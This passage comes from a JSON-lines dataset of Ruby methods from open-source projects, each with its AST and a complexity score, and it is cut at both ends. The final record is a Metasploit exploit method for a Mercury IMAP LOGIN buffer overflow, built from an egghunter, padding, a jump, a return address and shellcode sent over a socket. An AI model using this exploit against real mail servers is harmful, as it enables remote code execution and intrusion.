children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootExceptionTracker\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},\"capture_exception\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},null]}]}","id":"d8af6e74-24d7-4588-a287-bb69dfdfa493"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/issue.rb","start_line":862,"raw_source":"def group_level?\n    project_id.blank?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_level?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id\"]},\"blank?\"]}]}","id":"9f7fcfd8-3693-49c0-b807-faac4d250c4c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/lib/api/v3/time_entries/schemas/time_entry_schema_representer.rb","start_line":119,"raw_source":"def allowed_user_href\n            api_v3_paths.path_for :principals,\n                                  filters: [\n                                    { status: { operator: \"!\", values: [Principal.statuses[:locked].to_s] } },\n                                    { type: { operator: \"=\", values: [\"User\"] } },\n                                    { member: { operator: \"=\", values: [represented.project_id] } }\n                                  ]\n          end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_user_href\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"path_for\",{\"type\":\"sym\",\"children\":[\"principals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"str\",\"children\":[\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Principal\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locked\"]}]},\"to_s\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"User\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"project_id\"]}]}]}]}]}]}]}]}]}]}]}","id":"58550ed6-c13d-431f-9029-875404ee4f59"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/set_info_plist_value.rb","start_line":7,"raw_source":"def self.run(params)\n        require \"plist\"\n\n        begin\n          path = File.expand_path(params[:path])\n          plist = Plist.parse_xml(path)\n          if params[:subkey]\n            if plist[params[:key]]\n              plist[params[:key]][params[:subkey]] = params[:value]\n            else\n              UI.message(\"Key doesn't exist, going to create new one ...\")\n              plist[params[:key]] = { params[:subkey] => params[:value] }\n            end\n          else\n            plist[params[:key]] = params[:value]\n          end\n          new_plist = Plist::Emit.dump(plist)\n          if params[:output_file_name]\n            output = params[:output_file_name]\n            FileUtils.mkdir_p(File.expand_path(\"..\", output))\n            File.write(File.expand_path(output), new_plist)\n          else\n            File.write(path, new_plist)\n          end\n\n          return params[:value]\n        rescue => ex\n          UI.error(ex)\n          UI.user_error!(\"Unable to set value to plist file at '#{path}'\")\n        end\n      end","complexity_score":52.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"plist\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plist\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plist\"]},\"parse_xml\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subkey\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subkey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Key doesn't exist, going to create new one ...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subkey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_plist\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plist\"]},\"Emit\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"plist\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_file_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"lvar\",\"children\":[\"new_plist\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"new_plist\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to set value to plist file at '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},null]}]}]}]}","id":"24d2ed36-8df0-437b-9620-d5a207fcf51f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/location_exists.rb","start_line":79,"raw_source":"def replace_with_loc_is(node)\n          replaceable_with_loc_is(node) do |receiver, location, value|\n            replacement = replacement(receiver, \"loc_is?(#{location.source}, #{value.source})\")\n            register_offense(node, replacement)\n          end\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"replace_with_loc_is\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replaceable_with_loc_is\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"receiver\"]},{\"type\":\"arg\",\"children\":[\"location\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"send\",\"children\":[null,\"replacement\",{\"type\":\"lvar\",\"children\":[\"receiver\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"loc_is?(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}]}","id":"25cb66c2-e0fe-4fa6-aca1-997778750dc6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/extract_files_service.rb","start_line":99,"raw_source":"def match_directory_pattern?(path, regex, suffix)\n          File.dirname(path).match?(regex) &&\n            !File.dirname(path).end_with?(suffix) &&\n            (File.dirname(path).count('/').in?([1, 2]) ||\n            (File.dirname(path).count('/') == 3 && path.start_with?('./')))\n        end","complexity_score":23.05,"ast_json":"{\"type\":\"def\",\"children\":[\"match_directory_pattern?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"regex\"]},{\"type\":\"arg\",\"children\":[\"suffix\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"regex\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"end_with?\",{\"type\":\"lvar\",\"children\":[\"suffix\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"count\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"in?\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"count\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"==\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"./\"]}]}]}]}]}]}]}]}","id":"86bd1e66-bd4c-48f9-a408-fc5681a49e7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/router.rb","start_line":97,"raw_source":"def match(request_method, path)\n      case matcher\n      when String\n        {} if path == matcher\n      else\n        path_match = path.match(matcher)\n        path_match&.named_captures&.transform_keys(&:to_sym)\n      end\n    end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"match\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request_method\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matcher\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"matcher\"]}]},{\"type\":\"hash\",\"children\":[]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"match\",{\"type\":\"send\",\"children\":[null,\"matcher\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_match\"]},\"named_captures\"]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}]}]}","id":"d1b454db-0e64-44a2-b3f8-e74f0f74ba94"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/discuz_x.rb","start_line":30,"raw_source":"def initialize\n    super\n\n    @client =\n      Mysql2::Client.new(\n        host: \"localhost\",\n        username: \"root\",\n        #password: \"password\",\n        database: DISCUZX_DB,\n      )\n    @first_post_id_by_topic_id = {}\n\n    @internal_url_regexps = [\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/forum\\.php\\?mod=viewthread(?:&|&amp;)tid=(?<tid>\\d+)(?:[^\\[\\]\\s]*)(?:pid=?(?<pid>\\d+))?(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/viewthread\\.php\\?tid=(?<tid>\\d+)(?:[^\\[\\]\\s]*)(?:pid=?(?<pid>\\d+))?(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/forum\\.php\\?mod=redirect(?:&|&amp;)goto=findpost(?:&|&amp;)pid=(?<pid>\\d+)(?:&|&amp;)ptid=(?<tid>\\d+)(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/redirect\\.php\\?goto=findpost(?:&|&amp;)pid=(?<pid>\\d+)(?:&|&amp;)ptid=(?<tid>\\d+)(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/forumdisplay\\.php\\?fid=(?<fid>\\d+)(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/forum\\.php\\?mod=forumdisplay(?:&|&amp;)fid=(?<fid>\\d+)(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/(?<action>index)\\.php(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/(?<action>stats)\\.php(?:[^\\[\\]\\s]*)},\n      %r{http(?:s)?://#{ORIGINAL_SITE_PREFIX.gsub(\".\", '\\.')}/misc.php\\?mod=(?<mod>stat|ranklist)(?:[^\\[\\]\\s]*)},\n    ]\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"localhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"root\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"const\",\"children\":[null,\"DISCUZX_DB\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@first_post_id_by_topic_id\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@internal_url_regexps\",{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/forum\\\\.php\\\\?mod=viewthread(?:&|&amp;)tid=(?<tid>\\\\d+)(?:[^\\\\[\\\\]\\\\s]*)(?:pid=?(?<pid>\\\\d+))?(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/viewthread\\\\.php\\\\?tid=(?<tid>\\\\d+)(?:[^\\\\[\\\\]\\\\s]*)(?:pid=?(?<pid>\\\\d+))?(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/forum\\\\.php\\\\?mod=redirect(?:&|&amp;)goto=findpost(?:&|&amp;)pid=(?<pid>\\\\d+)(?:&|&amp;)ptid=(?<tid>\\\\d+)(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/redirect\\\\.php\\\\?goto=findpost(?:&|&amp;)pid=(?<pid>\\\\d+)(?:&|&amp;)ptid=(?<tid>\\\\d+)(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/forumdisplay\\\\.php\\\\?fid=(?<fid>\\\\d+)(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/forum\\\\.php\\\\?mod=forumdisplay(?:&|&amp;)fid=(?<fid>\\\\d+)(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/(?<action>index)\\\\.php(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/(?<action>stats)\\\\.php(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"http(?:s)?://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ORIGINAL_SITE_PREFIX\"]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"\\\\.\"]}]}]},{\"type\":\"str\",\"children\":[\"/misc.php\\\\?mod=(?<mod>stat|ranklist)(?:[^\\\\[\\\\]\\\\s]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}","id":"23c868fc-2d74-466d-a0ab-e8e6ded4d526"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/imap/mercury_login.rb","start_line":76,"raw_source":"def exploit\n    hunter, egg = generate_egghunter(payload.encoded)\n    connect\n    sock.get_once\n    num = rand(255).to_i\n    sploit = 'A001 LOGIN ' + \"\\x20\" * 1008 + \"{#{num}}\\n\"\n    sploit << rand_text_alpha_upper(347)\n    sploit << egg + payload.encoded\n    sploit << rand_text_alpha_upper(7500 - payload.encoded.length - egg.length)\n    sploit << \"\\x74\\x06\\x75\\x04\" + [target.ret].pack('V')\n    sploit << make_nops(20)\n    sploit << hunter\n    sock.put(sploit)\n    sock.get_once\n    print_status(\"Sending payload (#{sploit.length} bytes) ...\")\n    handler\n    disconnect\n  end","complexity_score":58.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hunter\"]},{\"type\":\"lvasgn\",\"children\":[\"egg\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_egghunter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"lvasgn\",\"children\":[\"num\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[255]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"A001 LOGIN \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"int\",\"children\":[1008]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]}]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[347]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"egg\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7500]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"egg\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\u0006u\\u0004\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"hunter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending payload 